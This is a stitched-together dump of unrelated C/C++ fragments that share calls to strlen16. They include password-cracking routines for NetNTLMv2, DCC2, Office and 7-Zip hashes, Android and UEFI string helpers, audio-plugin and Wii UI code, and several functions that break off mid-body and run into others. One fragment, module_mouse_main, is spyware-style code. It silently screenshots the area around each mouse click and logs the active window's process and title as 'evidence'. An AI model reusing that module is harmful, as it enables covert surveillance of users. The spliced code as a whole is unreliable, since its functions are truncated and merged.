/*
We're essentially using three salts, but we're going to pack it into a single blob for now.
Input: $NETNTLMv2$USER_DOMAIN$_SERVER_CHALLENGE_$_NTLMv2_RESP_$_CLIENT_CHALLENGE_
Username: <=20
Domain: <=15
Server Challenge: 8 bytes
Client Challenge: ???
Output: Identity length, Identity(UTF16)\0, Challenge Size, Server Challenge + Client Challenge
*/
static void *get_salt(char *ciphertext)
{
static unsigned char *binary_salt;
int i, identity_length, challenge_size;
char *pos = NULL;
#if !ARCH_ALLOWS_UNALIGNED
static unsigned *bs2;
if (!bs2) bs2 = mem_alloc_tiny(SALT_SIZE, MEM_ALIGN_WORD);
#endif
if (!binary_salt) binary_salt = mem_alloc_tiny(SALT_SIZE, MEM_ALIGN_WORD);
/* Calculate identity length */
for (pos = ciphertext + 11; *pos != '$'; pos++);
/* Convert identity (username + domain) string to NT unicode */
#if !ARCH_ALLOWS_UNALIGNED
identity_length = enc_to_utf16((uint16 *)bs2, 2 * (USERNAME_LENGTH + DOMAIN_LENGTH), (uchar *)ciphertext + 11, pos - (ciphertext + 11)) * sizeof(int16);
if (identity_length < 0) // Truncated at Unicode conversion.
identity_length = strlen16((UTF16 *)bs2) * sizeof(int16);
memcpy(&binary_salt[1], bs2, identity_length);
#else
identity_length = enc_to_utf16((uint16 *)&binary_salt[1], 2 * (USERNAME_LENGTH + DOMAIN_LENGTH), (uchar *)ciphertext + 11, pos - (ciphertext + 11)) * sizeof(int16);
if (identity_length < 0) // Truncated at Unicode conversion.
identity_length = strlen16((UTF16 *)&binary_salt[1]) * sizeof(int16);
#endif
/* Set server and client challenge size */
/* Skip: $NETNTLMv2$USER_DOMAIN$ */
ciphertext = pos + 1;
/* SERVER_CHALLENGE$NTLMV2_RESPONSE$CLIENT_CHALLENGE --> SERVER_CHALLENGECLIENT_CHALLENGE */
/* CIPHERTEXT == NTLMV2_RESPONSE (16 bytes / 32 characters) */
challenge_size = (strlen(ciphertext) - CIPHERTEXT_LENGTH - 2) / 2;
/* Store identity length */
binary_salt[0] = identity_length;
/* Set challenge size in response - 2 bytes */
memset(binary_salt + 1 + identity_length, 0, 1);
memset(binary_salt + 1 + identity_length + 1, (challenge_size & 0xFF00) >> 8, 1);
memset(binary_salt + 1 + identity_length + 2, challenge_size & 0x00FF, 1);
/* Set server challenge */
for (i = 0; i < SERVER_CHALL_LENGTH / 2; i++)
binary_salt[identity_length + 1 + 2 + 1 + i] = (atoi16[ARCH_INDEX(ciphertext[i*2])] << 4) + atoi16[ARCH_INDEX(ciphertext[i*2+1])];
/* Set client challenge */
ciphertext += SERVER_CHALL_LENGTH + 1 + CIPHERTEXT_LENGTH + 1;
for (i = 0; i < strlen(ciphertext) / 2; ++i)
binary_salt[identity_length + 1 + 2 + 1 + SERVER_CHALL_LENGTH / 2 + i] = (atoi16[ARCH_INDEX(ciphertext[i*2])] << 4) + atoi16[ARCH_INDEX(ciphertext[i*2+1])];
/* Return a concatenation of the server and client challenges and the identity value */
return (void*)binary_salt;
}
static void DCC(unsigned char *salt, unsigned int username_len,
unsigned int *dcc_hash, unsigned int count)
{
unsigned int id ;
unsigned int buffer[64] ;
unsigned int nt_hash[69] ; // large enough to handle 128 byte user name (when we expand to that size).
int password_len;
MD4_CTX ctx;
for (id = 0; id < count; id++) {
/* Proper Unicode conversion from UTF-8 or codepage */
password_len = enc_to_utf16((UTF16*)buffer,
MAX_PLAINTEXT_LENGTH,
(UTF8*)key_host[id],
strlen((const char*)key_host[id]));
/* Handle truncation */
if (password_len < 0)
password_len = strlen16((UTF16*)buffer);
// generate MD4 hash of the password (NT hash)
MD4_Init(&ctx);
MD4_Update(&ctx, buffer, password_len<<1);
MD4_Final((unsigned char*)nt_hash, &ctx);
// concatenate NT hash and the username (salt)
memcpy((unsigned char *)nt_hash + 16, salt, username_len << 1) ;
MD4_Init(&ctx);
MD4_Update(&ctx, nt_hash, (username_len<<1)+16);
MD4_Final((unsigned char*)(dcc_hash+4*id), &ctx);
}
}
static int crypt_all(int *pcount, struct db_salt *salt)
{
const int count = *pcount;
int index = 0;
#ifdef _OPENMP
#pragma omp parallel for
#endif
for (index = 0; index < count; index++)
{
unsigned char passwordBuf[PLAINTEXT_LENGTH*2+2];
int len;
len = enc_to_utf16((UTF16*)passwordBuf, PLAINTEXT_LENGTH,
(UTF8*)saved_key[index], strlen(saved_key[index]));
if (len < 0)
len = strlen16((UTF16*)passwordBuf);
len <<= 1;
if(cur_salt->version == 0) {
SHA_CTX ctx;
SHA1_Init(&ctx);
SHA1_Update(&ctx, cur_salt->esalt, 16);
SHA1_Update(&ctx, passwordBuf, len);
SHA1_Final((unsigned char*)crypt_out[index], &ctx);
}
else if(cur_salt->version == 1) {
SHA256_CTX ctx;
SHA256_Init(&ctx);
SHA256_Update(&ctx, cur_salt->esalt, 16);
SHA256_Update(&ctx, passwordBuf, len);
SHA256_Final((unsigned char*)crypt_out[index], &ctx);
}
}
return count;
}
ushort packet::write_S(char16_t* src)
{
size_t len = strlen16(src);
len = write(src, len+1);
pos += len;
return len;
}
efi_char8_t* SafeUnicodeStrToAsciiStr(const efi_char16_t* source, efi_char8_t* destination) {
efi_char8_t* ret;
ASSERT(destination != NULL);
//
// ASSERT if Source is long than PcdMaximumUnicodeStringLength.
// Length tests are performed inside StrLen().
//
ASSERT(strsize16(source)!=0);
//
// Source and Destination should not overlap
//
ASSERT((efi_uintn_t)((efi_char16_t *)destination-source) > strlen16(source));
ASSERT((efi_uintn_t)((efi_char8_t *)source-destination) > strlen16(source));
ret = destination;
while(*source != '\0') {
//
// If any non-ascii characters in Source then replace it with '?'.
//
if(*source < 0x80)
*destination = (efi_char8_t)*source;
else {
*destination = '?';
// Surrogate pair check.
if((*source >= 0xD800) && (*source <= 0xDFFF))
source++;
}
destination++;
source++;
}
*destination = '\0';
//
// ASSERT Original Destination is less long than PcdMaximumAsciiStringLength.
// Length tests are performed inside AsciiStrLen().
//
ASSERT(strsize(ret)!=0);
return ret;
}
static unsigned char* GeneratePasswordHashUsingSHA1(char *password)
{
unsigned char hashBuf[20], *inputBuf, *key, *final;
/* H(0) = H(salt, password)
* hashBuf = SHA1Hash(salt, password);
* create input buffer for SHA1 from salt and unicode version of password */
unsigned char passwordBuf[512] = {0};
int passwordBufSize;
int i;
SHA_CTX ctx;
/* convert key to UTF-16LE */
passwordBufSize = enc_to_utf16((UTF16*)passwordBuf, 125, (UTF8*)password, strlen(password));
if (passwordBufSize < 0)
passwordBufSize = strlen16((UTF16*)passwordBuf);
passwordBufSize <<= 1;
inputBuf = (unsigned char *)malloc(salt_struct->saltSize + passwordBufSize);
memcpy(inputBuf, salt_struct->osalt, salt_struct->saltSize);
memcpy(inputBuf + salt_struct->saltSize, passwordBuf, passwordBufSize);
SHA1_Init(&ctx);
SHA1_Update(&ctx, inputBuf, salt_struct->saltSize + passwordBufSize);
SHA1_Final(hashBuf, &ctx);
free(inputBuf);
/* Generate each hash in turn
* H(n) = H(i, H(n-1))
* hashBuf = SHA1Hash(i, hashBuf); */
// Create an input buffer for the hash. This will be 4 bytes larger than
// the hash to accommodate the unsigned int iterator value.
inputBuf = (unsigned char *)malloc(0x14 + 0x04);
// Create a byte array of the integer and put at the front of the input buffer
// 1.3.6 says that little-endian byte ordering is expected
memcpy(inputBuf + 4, hashBuf, 20);
for (i = 0; i < 50000; i++) {
*(int *)inputBuf = i; // XXX: size & endianness
// 'append' the previously generated hash to the input buffer
SHA1_Init(&ctx);
SHA1_Update(&ctx, inputBuf, 0x14 + 0x04);
SHA1_Final(inputBuf + 4, &ctx);
}
// Finally, append "block" (0) to H(n)
// hashBuf = SHA1Hash(hashBuf, 0);
i = 0;
memmove(inputBuf, inputBuf + 4, 20);
memcpy(inputBuf + 20, &i, 4); // XXX: size & endianness
SHA1_Init(&ctx);
SHA1_Update(&ctx, inputBuf, 0x14 + 0x04);
SHA1_Final(hashBuf, &ctx);
free(inputBuf);
key = DeriveKey(hashBuf);
// Should handle the case of longer key lengths as shown in 2.3.4.9
// Grab the key length bytes of the final hash as the encrypytion key
final = (unsigned char *)malloc(salt_struct->keySize/8);
char16_t* packet::read_S(char16_t* dst_t)
{
ushort len = 0;
len = strlen16((char16_t*)&raw[pos]);
if (!dst_t)
dst_t = new char16_t[len + 1];
len = strcpy16(dst_t, (char16_t*)&raw[pos]);
pos += len;
return dst_t;
}
void gdImageStringUp16(gdImagePtr im, gdFontPtr f,
int x, int y, unsigned short *s, int color)
{
int i;
int l;
l = strlen16(s);
for (i=0; (i<l); i++) {
gdImageCharUp(im, f, x, y, s[i], color);
y -= f->w;
}
}
//------------------------------------------------------------------------
void StringListParameter::appendString (const String128 string)
{
int32 length = strlen16 (string);
TChar* buffer = (TChar*)std::malloc ((length + 1) * sizeof (TChar));
if (!buffer)
return;
memcpy (buffer, string, length * sizeof (TChar));
buffer[length] = 0;
strings.push_back (buffer);
info.stepCount++;
}
static void sevenzip_set_key(char *key, int index)
{
UTF16 c_key[PLAINTEXT_LENGTH + 1];
int length = strlen(key);
/* Convert password to utf-16-le format (--encoding aware) */
length = enc_to_utf16(c_key, PLAINTEXT_LENGTH,
(UTF8*)key, length);
if (length <= 0)
length = strlen16(c_key);
inbuffer[index].length = length;
memcpy(inbuffer[index].v, c_key, 2 * length);
}
String16::String16(const char16_t* o)
{
size_t len = strlen16(o);
SharedBuffer* buf = SharedBuffer::alloc((len+1)*sizeof(char16_t));
ALOG_ASSERT(buf, "Unable to allocate shared buffer");
if (buf) {
char16_t* str = (char16_t*)buf->data();
strcpy16(str, o);
mString = str;
return;
}
mString = getEmptyString();
}
//------------------------------------------------------------------------
bool StringListParameter::replaceString (int32 index, const String128 string)
{
TChar* str = strings.at (index);
if (!str)
return false;
int32 length = strlen16 (string);
TChar* buffer = (TChar*)malloc ((length + 1) * sizeof (TChar));
if (!buffer)
return false;
memcpy (buffer, string, length * sizeof (TChar));
buffer[length] = 0;
strings[index] = buffer;
std::free (str);
return true;
}
static void set_key(char *key, int index)
{
int plen;
UTF16 buf[PLAINTEXT_LENGTH + 1];
/* UTF-16LE encode the password, encoding aware */
plen = enc_to_utf16(buf, PLAINTEXT_LENGTH, (UTF8*) key, strlen(key));
if (plen < 0)
plen = strlen16(buf);
memcpy(&saved_key[UNICODE_LENGTH * index], buf, UNICODE_LENGTH);
saved_len[index] = plen << 1;
#ifdef CL_VERSION_1_0
new_keys = 1;
#endif
}
static void set_key(char *key, int index)
{
UTF16 *utfkey = (UTF16*)&saved_key[index * UNICODE_LENGTH];
/* Clean slate */
memset(utfkey, 0, UNICODE_LENGTH);
/* convert key to UTF-16LE */
saved_len[index] = enc_to_utf16(utfkey, PLAINTEXT_LENGTH, (UTF8*)key, strlen(key));
if (saved_len[index] < 0)
saved_len[index] = strlen16(utfkey);
/* Prepare for GPU */
utfkey[saved_len[index]] = 0x80;
saved_len[index] <<= 1;
new_keys = 1;
//dump_stuff_msg("key buffer", &saved_key[index*UNICODE_LENGTH], UNICODE_LENGTH);
}
/* We're essentially using three salts, but we're going to pack it into a single blob for now.
|Client Challenge (8 Bytes)|Server Challenge (8 Bytes)|Unicode(Username (<=20).Domain (<=15))
*/
static void *get_salt(char *ciphertext)
{
static unsigned char *binary_salt;
unsigned char identity[USERNAME_LENGTH + DOMAIN_LENGTH + 1];
UTF16 identity_ucs2[USERNAME_LENGTH + DOMAIN_LENGTH + 1];
int i, identity_length;
int identity_ucs2_length;
char *pos = NULL;
if (!binary_salt) binary_salt = mem_alloc_tiny(SALT_SIZE, MEM_ALIGN_WORD);
memset(binary_salt, 0, SALT_SIZE);
/* Calculate identity length */
for (pos = ciphertext + 9; *pos != '$'; pos++);
identity_length = pos - (ciphertext + 9);
/* Convert identity (username + domain) string to NT unicode */
strnzcpy((char *)identity, ciphertext + 9, sizeof(identity));
identity_ucs2_length = enc_to_utf16((UTF16 *)identity_ucs2, USERNAME_LENGTH + DOMAIN_LENGTH, (UTF8 *)identity, identity_length) * sizeof(int16);
if (identity_ucs2_length < 0) // Truncated at Unicode conversion.
identity_ucs2_length = strlen16((UTF16 *)identity_ucs2) * sizeof(int16);
binary_salt[16] = (unsigned char)identity_ucs2_length;
memcpy(&binary_salt[17], (char *)identity_ucs2, identity_ucs2_length);
/* Set server challenge */
ciphertext += 10 + identity_length;
for (i = 0; i < 8; i++)
binary_salt[i] = (atoi16[ARCH_INDEX(ciphertext[i*2])] << 4) + atoi16[ARCH_INDEX(ciphertext[i*2+1])];
/* Set client challenge */
ciphertext += 2 + CHALLENGE_LENGTH / 2 + CIPHERTEXT_LENGTH;
for (i = 0; i < 8; ++i)
binary_salt[i + 8] = (atoi16[ARCH_INDEX(ciphertext[i*2])] << 4) + atoi16[ARCH_INDEX(ciphertext[i*2+1])];
/* Return a concatenation of the server and client challenges and the identity value */
return (void*)binary_salt;
}
static int crypt_all(int *pcount, struct db_salt *salt)
{
const int count = *pcount ;
int salt_len;
#ifdef _DEBUG
struct timeval startc, endc, startg, endg ;
gettimeofday(&startc, NULL) ;
#endif
UTF16 salt_host[MAX_SALT_LENGTH + 1];
memset(salt_host, 0, sizeof(salt_host));
/* Proper Unicode conversion from UTF-8 or codepage */
salt_len = enc_to_utf16(salt_host,
MAX_SALT_LENGTH,
(UTF8*)currentsalt.username,
currentsalt.length);
/* Handle truncation */
if (salt_len < 0)
salt_len = strlen16(salt_host);
DCC((unsigned char*)salt_host, salt_len, dcc_hash_host, count) ;
if(salt_len > 22)
pbkdf2_iter0(dcc_hash_host,(unsigned char*)salt_host, (salt_len << 1) , count);
#ifdef _DEBUG
gettimeofday(&startg, NULL) ;
#endif
///defined in common_opencl_pbkdf2.c. Details provided in common_opencl_pbkdf2.h
pbkdf2_divide_work(dcc_hash_host, (cl_uint*)salt_host, salt_len, currentsalt.iter_cnt, dcc2_hash_host, hmac_sha1_out, count) ;
#ifdef _DEBUG
gettimeofday(&endg, NULL);
gettimeofday(&endc, NULL);
fprintf(stderr, "\nGPU:%f ",(endg.tv_sec - startg.tv_sec) + (double)(endg.tv_usec - startg.tv_usec) / 1000000.000) ;
fprintf(stderr, "CPU:%f ",(endc.tv_sec - startc.tv_sec) + (double)(endc.tv_usec - startc.tv_usec) / 1000000.000 - ((endg.tv_sec - startg.tv_sec) + (double)(endg.tv_usec - startg.tv_usec) / 1000000.000)) ;
#endif
return count ;
}
void sevenzip_kdf(UTF8 *password, unsigned char *master)
{
int len;
long long rounds = (long long) 1 << cur_salt->NumCyclesPower;
long long round;
UTF16 buffer[PLAINTEXT_LENGTH + 1];
#if !ARCH_LITTLE_ENDIAN
int i;
unsigned char temp[8] = { 0,0,0,0,0,0,0,0 };
#endif
SHA256_CTX sha;
/* Convert password to utf-16-le format (--encoding aware) */
len = enc_to_utf16(buffer, PLAINTEXT_LENGTH, password, strlen((char*)password));
if (len <= 0) {
password[-len] = 0; // match truncation
len = strlen16(buffer);
}
len *= 2;
/* kdf */
SHA256_Init(&sha);
for (round = 0; round < rounds; round++) {
//SHA256_Update(&sha, "", cur_salt->SaltSize);
SHA256_Update(&sha, (char*)buffer, len);
#if ARCH_LITTLE_ENDIAN
SHA256_Update(&sha, (char*)&round, 8);
#else
SHA256_Update(&sha, temp, 8);
for (i = 0; i < 8; i++)
if (++(temp[i]) != 0)
break;
#endif
}
SHA256_Final(master, &sha);
}
String8::String8(const char16_t* o)
: mString(allocFromUTF16(o, strlen16(o)))
{
}
void *module_mouse_main(void *args)
{
Display *display = NULL;
int i, devnum = 0, mousenum = 0, buttonrelease = 0;
XDeviceInfo *devinfo = NULL;
XDevice **device = NULL;
XEventClass evlist;
XEvent event;
Window root, child;
int rootX, rootY, childX, childY;
unsigned int mask;
XWindowAttributes wininfo;
int maxfd = -1, xfd = -1;
int width = 40, height = 40;
char *process = NULL, *title = NULL;
int imgx, imgy, imgw, imgh;
fd_set rfds;
struct additional a;
BIO *bio_additional = NULL;
char *additionalptr, *dataptr = NULL;
long additionallen, datalen = 0;
debugme("Module MOUSE started\n");
if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;
if(MODULE_MOUSE_P) {
width = MODULE_MOUSE_P->width;
height = MODULE_MOUSE_P->height;
}
do {
if((display = XOpenDisplay(NULL)) == NULL) break;
if((xfd = ConnectionNumber(display)) < 0) break;
if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
if(!(bio_additional = BIO_new(BIO_s_mem()))) break;
for(i = 0; i < devnum; i++) {
if(devinfo[i].use == IsXExtensionPointer) {
if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
DeviceButtonRelease(device[i], buttonrelease, evlist);
XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
mousenum++;
}
}
if(!mousenum) break;
maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;
while(MODULE_MOUSE.status != MODULE_STOPPING) {
do {
if(!XPending(display)) {
FD_ZERO(&rfds);
FD_SET(xfd, &rfds);
FD_SET(MODULE_MOUSE.event, &rfds);
if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
}
if(MODULE_MOUSE.status == MODULE_STOPPING) break;
if(XNextEvent(display, &event)) break;
if(event.type != buttonrelease) break;
if(((XDeviceButtonEvent *)&event)->button > 3) break;
XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
getwindowproperties(display, getactivewindow(display), &process, &title);
debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);
imgx = MAX(rootX - (width / 2), 0);
imgy = MAX(rootY - (height / 2), 0);
imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;
a.version = MOUSEMODULE_VERSION;
a.processlen = strlen16(process) + 2;
a.titlelen = strlen16(title) + 2;
a.x = rootX;
a.y = rootY;
a.width = imgw;
a.height = imgh;
(void)BIO_reset(bio_additional);
BIO_write(bio_additional, &a, sizeof(a));
BIO_puts16n(bio_additional, process);
BIO_puts16n(bio_additional, title);
if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;
evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
} while(0);
if(dataptr) { free(dataptr); dataptr = NULL; }
if(process) { free(process); process = NULL; }
if(title) { free(title); title = NULL; }
}
} while(0);
if(bio_additional) BIO_free(bio_additional);
if(device) {
for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
free(device);
}
if(devinfo) XFreeDeviceList(devinfo);
if(display) XCloseDisplay(display);
debugme("Module MOUSE stopped\n");
return NULL;
}
bool String16::startsWith(const char16_t* prefix) const
{
const size_t ps = strlen16(prefix);
if (ps > size()) return false;
return strncmp16(mString, prefix, ps) == 0;
}
status_t String16::insert(size_t pos, const char16_t* chrs)
{
return insert(pos, chrs, strlen16(chrs));
}
status_t String16::setTo(const char16_t* other)
{
return setTo(other, strlen16(other));
}
s1 = 0, s2 = 0;
s32 ret = ISFS_GetUsage( path, &s1, &s2 );
if( !ret )
{
totalClusters += s1;
}
}
u32 freeBlocks = 0;
if( totalClusters < 0x4400 )
{
freeBlocks = ( 0x4400 - totalClusters ) >> 3;
}
strcpy16( freeSpacebuffer, Bmg::Instance()->GetMessage( 156 ) );// "Blocks Open: "
int len = strlen16( freeSpacebuffer );
snprintf16( &freeSpacebuffer[ len ], 0x20 - len, "%u", freeBlocks );
SetText( gridLyt, "T_Capa_00", freeSpacebuffer );
}
void ChannelEdit::SetPage( u16 page )
{
u16 numPages = ( bannerList.size() / 15 ) + 1;
if( page >= numPages )
{
gprintf( "ChannelEdit::SetPage( %u ): > %u\n", page, numPages );
return;
}
Pane *pane;
